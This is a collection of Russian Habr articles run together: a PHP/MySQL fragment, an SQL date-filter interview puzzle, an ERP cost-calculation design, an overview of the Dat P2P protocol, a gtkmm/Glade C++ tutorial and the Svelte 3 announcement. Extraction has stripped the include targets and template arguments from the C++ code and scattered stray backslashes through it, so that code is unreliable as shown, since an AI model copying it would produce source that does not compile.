> $stmt->bind\_result($operator);
>
> $stmt->fetch();
>
> $stmt->close();
>
> } else {
>
> $stmt->close();
>
> $stmt = $mysql->stmt\_init();
>
> $stmt->prepare("INSERT INTO ".PREFIX."operators VALUES ('', ?)");
>
> $stmt->bind\_param("s", $operator);
>
> $stmt->execute();
>
> $operator = $stmt->insert\_id;
>
> $stmt->close();
>
> }
>
>
>
> $stmt = $mysql->stmt\_init();
>
> $stmt->prepare("SELECT id FROM ".PREFIX."regions WHERE name=?");
>
> $stmt->bind\_param("s", $region);
>
> $stmt->execute();
>
> $stmt->store\_result();
>
>
>
> if ($stmt->num\_rows > 0) {
>
> $stmt->bind\_result($region);
>
> $stmt->fetch();
>
> $stmt->close();
>
> } else {
>
> $stmt->close();
>
> $stmt = $mysql->stmt\_init();
>
> $stmt->prepare("INSERT INTO ".PREFIX."regions VALUES ('', ?)");
>
> $stmt->bind\_param("s", $region);
>
> $stmt->execute();
>
> $region = $stmt->insert\_id;
>
> $stmt->close();
>
> }
>
>
>
> $stmt = $mysql->stmt\_init();
>
> $stmt->prepare("INSERT INTO ".PREFIX."codes VALUES ('', ?, ?, ?, ?, ?, ?)");
>
> $stmt->bind\_param("iiiiis", $operator, $region, $def, $range\_from, $range\_to, $date);
>
> $stmt->execute();
>
> $stmt->close();
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/45865/ | null | ru | null |
# Рядовой SNAFU идет в DBA
Для тех, кто не знает, [SNAFU](https://en.wikipedia.org/wiki/Private_Snafu) — персонаж военных патриотических мультфильмов, созданных американцами во время войны. Этот раздолбай, ввиду природного идиотизма, все время попадает в катастрофические ситуации и, как правило, гибнет в конце серии. Правда, в следующей серии он снова оказывается живым — в этом смысле, его можно считать далеким прародителем Кенни из Южного Парка.
При наборе людей на позицию SQL server developer, я часто был покорен тем, как они отвечали на вопросы. Я готов был сказать им ДА, если бы меня не спасала небольшая задача в одну строчку, которую предложил мой коллега. Удивительно, сколько всего может дать эта задача в одну строку SQL. И вот уже кандидат уже с упоением ходит по граблям. А грабель, как вы увидите, там много. Конечно, ни один человек не собрал ВСЕ возможные грабли. Но, чтобы их все показать, мне и понадобился SNAFU.
Итак, задача:
```
SELECT * FROM Events where DT='2020/02/03'
```
* Что хотел сделать автор кода?
* Почему это может работать не так, как хотелось?
* Как это исправить?
Дальше пойдет мой разговор со SNAFU.
**SNAFU:** Очевидно, запрос выбирает данные за один день.
**Я:** А что здесь плохого?
**SNAFU:** Ну, там звездочка, лучше бы указать поля…
**Я:** А что хранится в таблице, как думаете? И какого типа поле DT?
**SNAFU:** События… Время событий… Значит datetime
**Я:** Ну и?
**SNAFU:** (после раздумий) ааа, так если там время, то прочитается записи только за полночь
**Я:** отлично
Мы одолели первые два пункта и переходим к третьему.
**Я:** Как это исправить?
**SNAFU:** where convert(varchar,DT,102)='2020/02/03' (Грабли #1 сработали)
**Я:** А вас не смущает, что это может помешать SQL использовать индекс по DT, если он там есть?
**SNAFU:** where DT between '2020/02/03' and '2020/02/04' (Грабли #2 сработали)
**Я:** А вас не смущает, что сюда войдут еще и данные за следующее число (полночь)?
**SNAFU:** where DT between '2020/02/03' and '2020/02/03 23:59:59' (Грабли #3 сработали)
**Я:** А вам бы понравилось иметь дело с банком, в котором есть секунда, когда деньги, которые вы внесли, будут потеряны?
**SNAFU:** where DT between '2020/02/03' and '2020/02/03 23:59:59.999' (Грабли #4 сработали)
**Я:** А вы в курсе, что 23:59:59.999 будет снова округлено до полуночи?
**SNAFU:** Точно, там гранулярность 13-16ms. Тогда: where DT between '2020/02/03' and '2020/02/03 23:59:59.986' (Грабли #5 сработали)
**Я:** То есть если DT станет smalldatetime или datetime2, все перестанет работать?
Я не знаю, почему переход к моменту ниже такой сложный. Реально, более половины кандидатов тупят отчаянно. Иногда приходится подсказывать. Но наш SNAFU вымучил решение:
**SNAFU:** where DT>='2020/02/03' and DT<'2020/02/04'
**Я:** Наконец то.
SNAFU вытирает пот со лба. Теперь самое время для контролького выстрела.
**Я:** А что ЕЩЕ здесь совсем плохо?
SNAFU трясет. Его руки дрожат. Взгляд блуждает.
**Я:** Это 3 февраля или 2 марта?
Мне кажется, подобные задачи куда быстрее дают понимание, чем идиотские «тестовые задания». В данном случае, SNAFU, может, парень и хороший, но с темпоральными данными работал мало, и к финансовой сфере его лучше не подпускать.
 | https://habr.com/ru/post/490282/ | null | ru | null |
# К вопросу расчета себестоимости
Несколько дней назад проводил партнерский семинар — обучение новых сотрудников. Касались вопроса расчета итогов (регистров) системы, в частности расчета себестоимости.
Вечером один из слушателей прислал ссылку на [статью, подробно рассматривающую проблематику расчета себестоимости в MS Axapta](http://blogs.technet.com/b/denisfed/archive/2009/05/07/3236801.aspx).
С просьбой прокомментировать основные различия в подходах.
**Автор честно потратил за два дня не менее 8-ми часов, разбираясь в тексте.** В результате был вынужден признать поражение — я НЕ смог разобраться как оно работает.
Невероятное количество специальных случаев, настроек, десятки страниц описания обработки особенностей работы с каждым счетом, процедуры переноса себестоимости, миграции партий.
Потратив два дня на попытки разобраться в этом тексте, я так и не получил ясного понимания, что же мне надо сделать, если я хочу учитывать товар не только на складе, а и, например, на водителе. Или же хочу считать себестоимость не только для товара (это могут быть рекламации в гарантии, объекты основных средств или еще что угодно — да те же деньги).
Кроме того, некоторое удивление вызвало наличие специальных разделов с описанием закрытия склада по услугам и описанием ошибок списания на округлении. Зачем вообще списывать услуги со склада?
Двух-этапная система для борьбы с остатками округления тоже не уложилась в голове.
Пассажи типа
> Правильнее было бы накапливать сумму ошибок на каком-то выделенном счете, а потом, при трансформации баланса, закрывать этот счет в ручную. Для того чтобы добиться такого эффекта — необходимо подправить метод inventAdj::errorAccountOperation(), таким образом чтобы он возвращал нужный вам счет ошибок округления. Я бы, наверное, использовал для этого счета отклонений от стандартной себестоимости. Если standard costing используется — то на эти счета как раз и нужно отклонения списывать, а если не используется — то эти счета в настройке складских разносок не заняты и их можно приспособить под списание ошибок и округлений. Если эта схема вам подходит — достаточно поменять в методе InventAdj::errorAccountOperation() значения InventAccountType::InventProfit и InventAccountType::InventLoss на InventAccountType::InventStdProfit и InventAccountType::InventStdLoss соответственно.
с одной стороны — внушают уважение, с другой — вселяют ужас.
Изучение оного документа, однако, дало идею публикации на Хабре касательно того, как устроен расчет себестоимости у нас.
Я не стал расписывать подробности, не влияющие на понимание сути процесса, при желании их можно найти в [выдержке из документации](http://www.ultimabusinessware.com/architecture/).
Расчет себестоимости, наверное, один из самых сложных для понимания процессов в нашей системе, и он же — один из самых упорядоченных. IMHO.
В качестве спойлера картинка:
В нашем случае расчет себестоимости — это процесс вычисления стоимости конкретной учетной единицы при каждом ее движении.
Возможно, звучит непонятно, попробуем пояснить.
Мы используем итоги (похожи на регистры в 1С) — некоторый аналог многомерного куба, ну или его реляционное представление. Соответственно, итог отображает текущее состояние измеримых показателей компании.
Хрестоматийный пример — остатки товара на складе. Итог, с измерениями склад и товар и переменными количество и сумма. Таблица фактов (являющаяся частью итога) содержит собственно данные о изменениях — мы их называем транзакциями, бухгалтера — проводками. Система расчета себестоимости не ограничивается собственно расчетом себестоимости, а на уровне платформы генерализирована до расчета значений переменных итогов в соответствии с теми или иными алгоритмами. Такие алгоритмы (или драйвера в нашей терминологии) привязываются к итогам (по одному на итог).
Вернемся к первой диаграмме.
В процессе расчета участвует специальный сервис (в данном случае не виндовый сервис, а сервис в терминах сервера приложений как некий класс) TotalCalculator, который зачитывает транзакции из таблицы фактов, передает их соответствующим драйверам, и применяет изменения в таблице фактов.
В свою очередь транзакции содержат значения для измерений и дельты для переменных. Некоторые из измерений и переменных могут не содержать значение в момент создания транзакции. Если быть точным, то у нас есть 2 таблицы фактов — оперативная и детализированная, которые отличаются тем, что детализированная заполняется в процессе работы калькулятора итогов. При этом возникает некоторая монопольность доступа, что позволяет, например, использовать bitmap indexes, ну и проделывать другие трюки для оптимизации.
Незаполненное значение переменной в транзакции обозначает, что оно должно быть вычислено позднее. Для примера — при списании товара со склада оперативно (без выполнения алгоритма FIFO) вычислить себестоимость, с которой списывается товар невозможно. Поэтому указывается значение переменной количество, а сумма не указывается.
В свою очередь, при покупке товара (упрощая) стоимость известна, и равна закупочной стоимости. В этом случае в транзакции будут указаны и количество и сумма.
Таким образом, драйвер для итога остатки на складе реализует алгоритм FIFO.
Ну а драйвер для итога остатки на расчетных счетах реализует модифицированный FIFO для себестоимости денег с учетом наличия овердрафта (это предполагает наличие транзакций, которые списывают деньги, которые не были ранее оприходованы). Правильная реализация и организация драйверов была бы невозможна, если бы не поддержка двойной записи — каждая транзакция знает парную ей. В паре одна транзакция всегда исходящая, другая входящая (это определяется знаками значений переменных, точнее у исходящей проводки всегда отрицательные, у входящей — положительные).
Драйвер получает на вход пару проводок, и его задача вернуть рассчитанную проводку.
Соответственно алгоритм расчета себестоимости по FIFO выглядит примерно так:
```
Если входящая проводка и сумма указана, запомним эту партию в очереди партий
Если входящая проводка и сумма НЕ указана, она должна быть указана в парной исходящей проводке
Если исходящая проводка, то возьмем стоимость из первой в очереди партии. Вернем проводку с полученной себестоимостью.
```
Для себестоимости денег бывает так, что исходящая транзакция расходует деньги при пустой очереди партий. В этом случае мы используем текущий (на день транзакции) курс ЦБ РФ (в варианте для России).
Аналогично для итогов с другим назначением драйвера используют другие алгоритмы. В реальной конфигурации [Ultima eCommerceERP](http://www.ultimaecommerceerp.com/) достаточно не более 10 драйверов. Таким образом, информация о расчете итогов хранится в аккуратно структурированном виде, разложенном в несколько драйверов, каждый из которых реализует четко оговоренный функционал.
**Как результат**:
* Логика расчета себестоимости изолирована в драйверах итогов
* Упрощается модульное тестирование функционала
* Безопасный теперь код пишется быстрее
* Снижен «входной порог» разработчика для внесения изменений, увеличивая количество разработчиков, которые могут реализовать функционал
Касательно производительности — в одной из инсталляций системы таким образом обрабатывается несколько миллионов транзакций в час. | https://habr.com/ru/post/243743/ | null | ru | null |
# Dat — что это за протокол, и кто его использует
Говорим о принципах работы этого P2P-протокола и проектах, построенных на его основе.
[](https://habr.com/ru/company/vasexperts/blog/462359/)
*/ Unsplash / [Alina Grubnyak](https://unsplash.com/photos/ZiQkhI7417A)*
Что такое Dat
-------------
Dat (Decentralized Archive Transport) — это открытый протокол для обмена данными и сообщениями в рамках распределенной сети (peer-to-peer). Он имеет встроенные функции контроля версий и позволяет следить за изменениями в сводах данных. Разработчиком Dat выступил инженер Макс Огден (Max Ogden). Он [представил](https://blog.datproject.org/2017/09/15/dat-funding-history/) протокол в 2013 году в рамках проекта [Code for America](https://en.wikipedia.org/wiki/Code_for_America).
Его участники разрабатывают сервисы, способствующие улучшению муниципальных услуг. Dat создавался как инструмент для передачи персональных данных граждан между гос. организациями. Но позже фокус проекта сместился в сторону научной информации.
Вокруг Dat сформировалось крупное сообщество (7 тыс. звезд [на GitHub](https://github.com/datproject/dat)). Продвижением протокола и построенных на его основе приложений занимается некоммерческая организация [Dat Foundation](https://dat.foundation/). Её поддерживают Mozilla, открытый фонд [Code for Science & Society](https://codeforscience.org/) и разработчик P2P-сетей Wireline.
Как он работает
---------------
Для загрузки файла в сети Dat необходимо указать его URL. Вот пример:
```
dat://778f8d955175c92e4ced5e4f5563f69bfec0c86cc6f670352c457943666fe639/dat_intro.gif
```
Чтобы узнать адресную ссылку, Dat-клиенты используют [multicast DNS](https://en.wikipedia.org/wiki/Multicast_DNS). Пиры транслируют свой запрос в локальную сеть в надежде, что кто-нибудь из участников «услышит» и поделится информацией. Также клиенты могут обращаться к серверу в интернете. Основной сервер расположился по адресу *discovery1.datprotocol.com*. Если он недоступен, то можно обратиться к его зеркалу — *discovery2.datprotocol.com*.
> **О других протоколах и стандартах в нашем блоге на Хабре:**
>
>
>
> * [«Любит и не любит»: DNS over HTTPS](https://habr.com/ru/company/vasexperts/blog/461431/)
> * [Новый стандарт на базе PCIe 5.0 «свяжет» CPU и GPU — что о нем известно](https://habr.com/ru/company/vasexperts/blog/443984/)
> * [Пост-анализ: что известно о последней атаке на сеть серверов криптоключей SKS Keyserver](https://habr.com/ru/company/vasexperts/blog/461443/)
Когда пир узнает IP-адрес и номер порта другого пира, они устанавливают TCP-соединение. Все передаваемые данные шифруются — для этого используется система поточного шифрования [XSalsa20](https://ru.wikipedia.org/wiki/Salsa20). Алгоритм применяет хеш-функцию с двадцатью циклами. Операции преобразования напоминают те, что задействованы в AES.
Данные в Dat-сети передаются отдельными фрагментами (chunks), размеры которых могут отличаться. Система позволяет добавлять новые фрагменты в Dat-файл, но не разрешает модифицировать или удалять существующие. По словам разработчиков, такой подход позволяет сохранить всю историю изменения документов. Система получает возможность свободно функционировать в условиях с нестабильным подключением.
*/ Unsplash / [Sven Brandsma](https://unsplash.com/photos/OdF1YWzW_vA)*
Сейчас члены Dat Foundation улучшают протокол, чтобы он мог работать с большими объемами данных. В частности, планируют переработать файловую систему (называется [Hyperdrive](https://github.com/datproject/planning#protocol-performance-and-features)), чтобы она справлялась с миллионами файлов, и внедрить новые механизмы поиска пиров ([Hyperswarm](https://pfrazee.hashbase.io/blog/hyperswarm)).
Кто использует
--------------
Примером может быть открытый проект [ScienceFair](https://github.com/codeforscience/sciencefair). Это — десктопное приложение для просмотра и поиска научной литературы. На этой платформе ученые и исследователи могут работать с личными заметками, журналами или выжимками из них. Для отображения контента из научной литературы ScienceFair использует ридер [Lens](https://github.com/elifesciences/lens) — он отвечает за рендер формата [JATS XML](https://en.wikipedia.org/wiki/Journal_Article_Tag_Suite).
Хотя Dat изначально задумывался как протокол для обмена научной информацией, комьюнити использует его для создания веб-сайтов, чатов и других приложений.
Один из свежих примеров — P2P-браузер [Beaker](https://beakerbrowser.com/), который разработан в партнерстве с командой, развивающей Dat. Его цель — дать пользователям возможность размещать веб-сайты «прямо в браузере». Авторы Beaker запустили облачный сервис Hashbase, поддерживающий постоянный доступ к Dat-сайтам, чьи локальные копии недоступны.
Проект полностью открыт, и его исходники [можно найти на GitHub](https://github.com/beakerbrowser/beaker). Если вы хотите оценить возможности браузера самостоятельно, то для его запуска на Linux понадобится установить libtool, m4 и autoconf:
```
sudo apt-get install libtool m4 make g++ autoconf # debian/ubuntu
sudo dnf install libtool m4 make gcc-c++ libXScrnSaver # fedora
```
После достаточно запустить:
```
git clone https://github.com/beakerbrowser/beaker.git
cd beaker
npm install
npm run rebuild # see https://github.com/electron/electron/issues/5851
npm start
```
Больше примеров приложений [можно найти на сайте](https://awesome.datproject.org/) проекта.
Аналог
------
Разумеется, Dat не единственный P2P-протокол, который последнее время активно разрабатывается. В качестве альтернативы можно назвать проект IPFS (InterPlanetary File System). Это — одноранговая распределенная файловая система. Отличие от других децентрализованных сетей в том, что она работает с блоками. Они могут содержать как часть файла, так и ссылки на другие блоки. Из этих блоков формируется обобщенный древовидный направленный граф, формирующий каталог или файл. IPFS работает с распределенными хеш-таблицами и поддерживает децентрализованный обмен блоками. IPFS не имеет точек отказа, а узлы [не обязаны](https://ipfs.io/#how) доверять друг другу. Доступ к файловой системе можно получить с помощью [FUSE](https://ru.wikipedia.org/wiki/Filesystem_in_Userspace) или HTTP.
Решение уже использует хостинг [Neocities](https://blog.neocities.org/blog/2015/09/08/its-time-for-the-distributed-web.html) и маркетплейс [OpenBazaar](https://ru.wikipedia.org/wiki/OpenBazaar). Разработчики протоколов, подобных IPFS и Dat, надеются, что их проекты дадут интернет-пользователям больше контроля над своими данными.
> **О чем мы пишем в корпоративном блоге VAS Experts:**
>
>
>
> * [Интернет в деревню — строим радиорелейную Wi-Fi-сеть](https://vasexperts.ru/blog/telekom/internet-v-derevnyu-stroim-radiorelejnuyu-wi-fi-set/)
> * [Внедрение IPv6 — FAQ для интернет-провайдеров](https://vasexperts.ru/blog/seti/vnedrenie-ipv6-faq-dlya-internet-provajderov/)
> * [Как раздавать бесплатный Wi-Fi согласно законодательству](https://vasexperts.ru/blog/skat-dpi/predostavlenie-besplatnogo-wi-fi-soglasno-zakonodatelstvu/) | https://habr.com/ru/post/462359/ | null | ru | null |
# Создание приложений на GTK+/gtkmm с использованием среды Glade
Данный пост является дополнением к статье [«Создание приложений на GTK+ с использованием среды Glade»](http://habrahabr.ru/post/107403/). Когда я начинал её читать, и наткнулся на слова о том, что пример будет на C++, то заранее обрадовался, так как на тот момент искал примеры связки Glade с gtkmm – обёрточной C++ библиотекой для GTK+. Каково же было моё разочарование, когда оказалось, что автор по непонятным для меня причинам код на C, использующий сишный API GTK+, поместил в ".cpp" файл и назвал это примером на C++. В итоге, я решил самостоятельно трансформировать сишный пример из той статьи на C++. Результат выносится на суд читателей.
Предполагается, что читатель знаком с базовыми понятиями библиотеки GTK+. Также в этой статье я не буду повторятся, поэтому перед прочтением рекомендую ознакомится с содержанием оригинальной статьи.
#### Установка компонентов
Для использования C++ нам понадобится библиотека gtkmm, которая является обёрткой для библиотеки GTK+. При установке она сама потянет за собой зависимости, которые нам также понадобятся, например библиотеку cairomm, которая, по аналогии, является C++ обёрткой для библиотеки cairo (рендеринг 2D графики). Для debian-based дистрибутива установка производится командой:
```
sudo apt-get install libgtkmm-2.4-dev
```
Номер версии может отличаться для Вашего дистрибутива.
#### Исходный код
Ниже приведён полный исходный код программы, которая по функциональности полностью соответствует оригинальному примеру, но при этом написана на C++. Далее я поясню некоторые части кода по отдельности.
```
#include
#include
/\*\* Main window class. \*/
class MainWindow: public Gtk::Window {
private:
/\*\* Subclass for drawing area. \*/
class CDrawingArea: public Gtk::DrawingArea {
public:
typedef enum {
SHAPE\_RECTANGLE,
SHAPE\_ELLIPSE,
SHAPE\_TRIANGLE
} shape\_t;
private:
shape\_t \_curShape = SHAPE\_RECTANGLE;
/\*\* Drawing event handler. \*/
virtual bool
on\_draw(const Cairo::RefPtr& cr)
{
switch (\_curShape) {
case SHAPE\_RECTANGLE:
cr->rectangle(20, 20, 200, 100);
cr->set\_source\_rgb(0, 0.8, 0);
cr->fill\_preserve();
break;
case SHAPE\_ELLIPSE:
cr->arc(150, 100, 90, 0, 2 \* 3.14);
cr->set\_source\_rgb(0.8, 0, 0);
cr->fill\_preserve();
break;
case SHAPE\_TRIANGLE:
cr->move\_to(40, 40);
cr->line\_to(200, 40);
cr->line\_to(120, 160);
cr->line\_to(40, 40);
cr->set\_source\_rgb(0.8, 0, 0.8);
cr->fill\_preserve();
cr->set\_line\_cap(Cairo::LINE\_CAP\_ROUND);
cr->set\_line\_join(Cairo::LINE\_JOIN\_ROUND);
break;
}
cr->set\_line\_width(3);
cr->set\_source\_rgb(0, 0, 0);
cr->stroke();
return true;
}
public:
CDrawingArea(BaseObjectType\* cobject, const Glib::RefPtr& builder):
Gtk::DrawingArea(cobject)
{
}
void
SetShape(shape\_t shape)
{
if (\_curShape != shape) {
\_curShape = shape;
/\* Request re-drawing. \*/
queue\_draw();
}
}
};
Glib::RefPtr \_builder;
Gtk::RadioButton \*\_rbRect, \*\_rbEllipse, \*\_rbTriangle;
CDrawingArea \*\_drawingArea;
public:
/\*\* Signal handler which is called when any radio button is clicked. \*/
void
OnRadiobuttonClick()
{
if (\_rbRect->get\_active()) {
\_drawingArea->SetShape(CDrawingArea::SHAPE\_RECTANGLE);
} else if (\_rbEllipse->get\_active()) {
\_drawingArea->SetShape(CDrawingArea::SHAPE\_ELLIPSE);
} else if (\_rbTriangle->get\_active()) {
\_drawingArea->SetShape(CDrawingArea::SHAPE\_TRIANGLE);
}
}
/\*\* "quit" action handler. \*/
void
OnQuit()
{
hide();
}
MainWindow(BaseObjectType\* cobject, const Glib::RefPtr& builder):
Gtk::Window(cobject), \_builder(builder)
{
/\* Retrieve all widgets. \*/
\_builder->get\_widget("rbRectangle", \_rbRect);
\_builder->get\_widget("rbEllipse", \_rbEllipse);
\_builder->get\_widget("rbTriangle", \_rbTriangle);
\_builder->get\_widget\_derived("drawing\_area", \_drawingArea);
/\* Connect signals. \*/
\_rbRect->signal\_clicked().connect(sigc::mem\_fun(\*this, &MainWindow::OnRadiobuttonClick));
\_rbEllipse->signal\_clicked().connect(sigc::mem\_fun(\*this, &MainWindow::OnRadiobuttonClick));
\_rbTriangle->signal\_clicked().connect(sigc::mem\_fun(\*this, &MainWindow::OnRadiobuttonClick));
/\* Actions. \*/
Glib::RefPtr::cast\_dynamic(\_builder->get\_object("action\_quit"))->
signal\_activate().connect(sigc::mem\_fun(\*this, &MainWindow::OnQuit));
}
};
int
main(int argc, char \*\*argv)
{
Gtk::Main app(argc, argv);
Glib::RefPtr builder = Gtk::Builder::create\_from\_file("sample.glade");
MainWindow \*mainWindow = 0;
builder->get\_widget\_derived("main\_wnd", mainWindow);
app.run(\*mainWindow);
delete mainWindow;
return 0;
}
```
Всё начинается с инициализации библиотеки созданием объекта класса «Gtk::Main». Далее создаётся объект билдера, который инициализируется файлом с описанием графического интерфейса, полученного редактором Glade (см. оригинальный пример).
```
Gtk::Main app(argc, argv);
Glib::RefPtr builder = Gtk::Builder::create\_from\_file("sample.glade");
```
Обратите внимание на использование класса «Glib::RefPtr». Это реализация смарт-поинтеров в библиотеке glibmm – C++ обёртки вокруг низкоуровневой библиотеки glib. Указатель, который присвоен данному объекту, будет автоматически освобождён при разрушении объекта.
```
class MainWindow: public Gtk::Window
```
Для представления главного окна в нашем приложении мы будем использовать свой класс, который унаследован от стандартного класса окна в gtkmm – «Gtk::Window». Данный приём называется сабклассинг (subclassing) и, в частности, является одним из способов перехвата событий для виджета, что будет показано ниже.
```
MainWindow *mainWindow = 0;
builder->get_widget_derived("main_wnd", mainWindow);
```
Здесь мы создаём объект для главного окна по его описанию в билдере. Для получения объекта использующего сабклассинг, вызывается метод «get\_widget\_derived». Если используется стандартный класс (в данном случае это мог быть «Gtk::Window»), то следует использовать метод «get\_widget» билдера.
```
app.run(*mainWindow);
delete mainWindow;
```
Метод «run» получает аргументом объект окна, с которым он будет работать, и возвращает управление только после того, как оно будет скрыто. Обратите внимание, что, во избежание утечек памяти, объект окна должен быть удалён. Данное требование относится только виджетам высшего уровня (top-level), и не относится к вложенным виджетам (например, ко всем виджетам внутри нашего главного окна, которые ниже будут получены тем же методом, но не будут явно удалены).
Теперь перейдём к классу главного окна. Конструктор всех виджетов всегда имеет один прототип:
```
MainWindow(BaseObjectType* cobject, const Glib::RefPtr& builder):
Gtk::Window(cobject), \_builder(builder)
```
Первый аргумент является указателем на оригинальный сишный объект GTK+ – тип «BaseObjectType» всегда определён таким образом для всех классов gtkmm (в данном случае это будет GtkWindow). Его необходимо передать в конструктор базового класса. Вторым аргументом является объект билдера, который, в частности, можно использовать для получения объектов для вложенных виджетов описанным выше способом, что и делается ниже:
```
_builder->get_widget("rbRectangle", _rbRect);
_builder->get_widget("rbEllipse", _rbEllipse);
_builder->get_widget("rbTriangle", _rbTriangle);
_builder->get_widget_derived("drawing_area", _drawingArea);
```
Далее сигналы для события нажатий на radiobutton'ы подключаются к методу «OnRadiobuttonClick» нашего класса:
```
_rbRect->signal_clicked().connect(sigc::mem_fun(*this, &MainWindow::OnRadiobuttonClick));
_rbEllipse->signal_clicked().connect(sigc::mem_fun(*this, &MainWindow::OnRadiobuttonClick));
_rbTriangle->signal_clicked().connect(sigc::mem_fun(*this, &MainWindow::OnRadiobuttonClick));
```
Обратите внимание на использование метода «sigc::mem\_fun» из библиотеки sigc++, которая является основным фреймворком для коммутации сигналов в gtkmm. Данный метод возвращает функтор для метода класса. Если нужно использовать функцию, не являющуюся членом класса, то можно воспользоваться методом «sigc::ptr\_fun». Описанный способ привязки сигналов к обработчикам является единственным для виджетов, для которых не используется сабклассинг, как в нашем случае с radiobutton'ами.
Следующая трёх-этажная конструкция привязывает сигнал активации действия выхода из программы к методу «OnQuit» нашего класса:
```
Glib::RefPtr::cast\_dynamic(\_builder->get\_object("action\_quit"))->
signal\_activate().connect(sigc::mem\_fun(\*this, &MainWindow::OnQuit));
```
В данном случае, в Glade, необходимо удостоверится, что создано действие «action\_quit», на которое должен ссылаться элемент «Quit» в главном меню. В оригинальной статье момент с действиями был опущен, поэтому прокомментирую. Действиями в GTK+ называют, собственно, действия, которые могут быть выполнены по событиям от разных источников – пунктов меню, кнопок тулбара, горячим клавишам. В объекте действия также описываются общие атрибуты для его внешнего представления (например в меню и тулбаре) – метка, иконка, текст всплывающей подсказки. Действию в gtkmm соответствует класс «Gtk::Action». Чтобы получить его из билдера, следует использовать метод «get\_object», который возвращает объект базового класса «Glib::Object», поэтому также приходится использовать метод «cast\_dynamic» класса «Glib::RefPtr» для явного преобразования типа. Сам метод «OnQuit» предельно прост:
```
void
OnQuit()
{
hide();
}
```
Как уже говорилось выше, чтобы выйти из метода «run» в функции «main», достаточно скрыть окно, переданное ему в качестве аргумент, что и делается в теле данного метода.
Следующий интересный момент – подкласс для класса «Gtk::DrawingArea», реализующий отрисовку фигур в соответствующем виджете. Из новых особенностей у нас метод «on\_draw»:
```
virtual bool
on_draw(const Cairo::RefPtr& cr)
```
Он является примером другого способа перехвата сигналов на события, который применим только к виджетам, использующим сабклассинг. Суть его заключается в том, что в каждом классе виджетов в gtkmm определены виртуальные методы для каждого поддерживаемого виджетом сигнала, которые вызываются при получении соответствующего сигнала. Подкласс может переопределить нужный виртуальный метод, таким образом перехватив обработку нужного сигнала, что и делается в данном примере.
Конкретно данным метод обрабатывает событие перерисовки содержимого виджета. В качестве аргумента ему передаётся контекст отрисовки библиотеки cairomm, работа с которым полностью аналогична оригинальному примеру.
На этом пост заканчивается. Большинство информации по использованию упомянутых библиотек взято из самозадокументированного исходного кода самих библиотек. | https://habr.com/ru/post/145160/ | null | ru | null |
# Svelte 3: Переосмысление реактивности
Буквально на днях произошло большое событие для сообщества SvelteJS, да и вообще, как мне кажется, для всего современного фронтенда — долгожданный релиз Svelte 3! Посему, под катом перевод статьи автора Svelte и прекрасное видео с его доклада на YGLF 2019.
Наконец-то он здесь
-------------------
После нескольких месяцев, которые пролетели как пара дней, мы на седьмом небе от счастья потому, что можем объявить о стабильном релизе Svelte 3. Этот по-настоящему огромный релиз, результат сотен часов работы многих людей в сообществе Svelte, включая бета-тестеров, чьи бесценные отзывы помогали оттачивать дизайн фреймворка на каждом этапе этого пути.
Мы думаем, он вам понравится.
Что такое Svelte?
-----------------
Svelte — это компонентный фреймворк, похожий на React или Vue, но с важным отличием. Традиционные фреймворки позволяют вам писать *декларативный* state-driven код, но не без наказаний: браузер должен выполнить дополнительную работу для преобразования этих декларативных структур в манипуляции с DOM, используя техники, такие как [virtual DOM diffing](https://ru.svelte.dev/blog/virtual-dom-is-pure-overhead), которые проедают имеющийся бюджет кадров отрисовки и добавляют обязанностей сборщику мусора.
Вместо этого Svelte работает *во время сборки*, преобразуя ваши компоненты в высокоэффективный *императивный* код, который с хирургической точностью обновляет DOM. В результате вы можете писать амбициозные приложения с отличными характеристиками по производительности.
Первая версия Svelte была посвящена [проверке гипотезы](https://ru.svelte.dev/blog/frameworks-without-the-framework) — что специально созданный компилятор может генерировать надёжный код и обеспечивает отличный пользовательский опыт. Вторая версия была посвящена небольшим улучшениям, которые привели ряд вещей в порядок.
Svelte 3 — это уже существенный пересмотр. В течение последних пяти или шести месяцев мы уделяли особое внимание пользовательскому опыту *разработчиков*. Теперь можно писать компоненты с количеством шаблонного кода, [значительно меньшим](https://ru.svelte.dev/blog/write-less-code), чем где либо ещё. Попробуйте наш совершенно новый [учебник](https://ru.svelte.dev/tutorial/basics) и посмотрите, что мы имеем ввиду — если вы уже знакомы с другими фреймворками, думаем, вы будете приятно удивлены.
Чтобы эта возможность стала реальностью, нам сначала нужно было переосмыслить концепцию, лежащую в основе современных UI фреймворков: реактивность.
**Доклад «Переосмысление реактивности» на [You Gotta Love Frontend Code Camp 2019](https://www.israel.yglfconf.com/)**
Перемещение реактивности в язык
-------------------------------
В предыдущих версиях Svelte, вы должны были сообщить компьютеру, что какая-то часть состояния изменилась с помощью вызова метода **this.set**:
```
const { count } = this.get();
this.set({
count: count + 1
});
```
Он заставлял компонент реагировать. Кстати говоря, **this.set** практически идентичен методу **this.setState**, который использовался в классическом (до хуков) React:
```
const { count } = this.state;
this.setState({
count: count + 1
});
```
Тут есть важные технические различия (как я объясняю в видео выше — React не реагирует), но концептуально это одно и то же.
Все изменилось с появлением [хуков в React](https://reactjs.org/docs/hooks-intro.html), которые управляют состоянием совсем по-другому. Многие фреймворки начали экспериментировать со своими собственными реализациями хуков, но мы быстро пришли к выводу, что это не то направление, куда бы мы хотели идти. Хуки имеют некоторые интригующие свойства, но они также включают в себя неестественный код и создают ненужную работу для сборщика мусора. Для фреймворка, который используется на [embedded-устройствах](https://mobile.twitter.com/sveltejs/status/1088500539640418304), а также в тяжелых интерактивных анимациях, это не хорошо.
Поэтому мы сделали шаг назад и спросили себя, какой тип API был бы лучшим для нас… и поняли, что лучший API — это отсутствие API. Мы можем просто *использовать язык*. Обновление значения **count** и всех вещей, которые зависят от него, должно быть простым:
```
count += 1;
```
Поскольку мы являемся компилятором, мы можем сделать это, осуществляя фактическое присваивание за кулисами:
```
count += 1; $$invalidate('count', count);
```
Важно отметить, что мы можем сделать всё это без лишних затрат и сложности использования прокси или аксессоров. Это просто переменная.
Новый облик
-----------
Не только компоненты получили подтяжку лица. Сам Svelte теперь имеет совершенно новый внешний вид благодаря удивительной дизайнерской работе [Achim Vedam](https://vedam.de/), создавшего новый логотип и веб-сайт, который переехал со [svelte.technology](https://svelte.technology/) на [svelte.dev](https://svelte.dev/).
Мы также изменили наш слоган с «Магически исчезающего UI фреймворка» на «Кибернетически улучшенные web-приложения». У Svelte много сильных сторон — отличная производительность, небольшой размер бандла, доступность, встроенная инкапсуляция стилей, декларативные анимации переходов, простота использования, тот факт, что это компилятор и многие другие. Поэтому сосредоточение внимания на одной из них кажется несправедливым по отношению к другим.
Обновление с версии 2
